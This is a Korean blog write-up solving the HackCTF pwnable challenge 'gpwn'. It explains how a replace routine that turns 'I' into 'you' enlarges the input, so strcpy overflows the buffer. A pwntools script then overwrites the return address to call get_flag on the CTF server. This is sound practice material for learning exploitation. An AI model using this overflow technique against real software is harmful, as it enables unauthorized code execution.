문제 풀이 환경 : ubuntu 20.04 |
긴가 민가 했었는데 잘 찍어서 푼 것 같다. 아 풀 당시에는 IDA 7.5를 사용했었는데 디컴 자체는 7.2가 알아보기 더 쉬운 것 같다.
주어진 파일은 문제 바이너리 파일 뿐. . .
분석에 들어가기에 앞서... 난 이 파일을 실행하려 했을 때 아래와 같은 오류가 떴다.
그래서 아래와 같은 방법으로 해결하였다.
apt-get install lib32stdc++6
Analysis
main은 간단간단하다. vuln 함수를 살펴보자.
솔직히 쫄았지만 별거 없다. 그냥 단순한 cpp파일이었을 뿐이다..
fgets 함수는 .. 32글자만 받기때문에 RET를 건드릴 수 없다. 탈락
replace에서 뭔가 바꿔주나보다.. 사실 replace함수 코드를 봤는데 보기 힘들어서 코드를 살펴보진 않았다.
strcpy함수는 복사를 할 때 길이를 체크 안하는 대표적인 BOF가 발생가능한 함수이다.
일단 실행을 시켜보면 I가 you로 바뀌는 것을 확인할 수 있다.
이걸 이용하면 되겠군!
How to exploit
한글자를 세글자로 replace하는 것을 활용하자.
strcpy 함수는 복사할 때 길이체크를 안한다. 60바이트 넘게 overwriting할 수 있다.
Let's exploit
from pwn import *
#p = process('./gpwn')
p = remote('ctf.j0n9hyun.xyz', 3011)
e = ELF('./gpwn')
get_flag = e.symbols['get_flag']
payload = ''
payload += 'I' * 20
payload += 'BBBB'
payload += p32(get_flag)
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] 1966 풀이 (cpp, BOF) (0) | 2021.03.24 |
---|---|
[HackCTF : Pwnable] poet 풀이 (64bit, BOF) (0) | 2021.03.24 |
[HackCTF : Pwnable] RTL_World 풀이 (32bit, RTL) (0) | 2021.03.16 |
[HackCTF : Pwnable] Yes or no 풀이 (64bit, ROP) (미완) (0) | 2021.03.15 |
[HackCTF : Pwnable] BOF_PIE 풀이 (32bit, BOF, PIE) (0) | 2021.03.15 |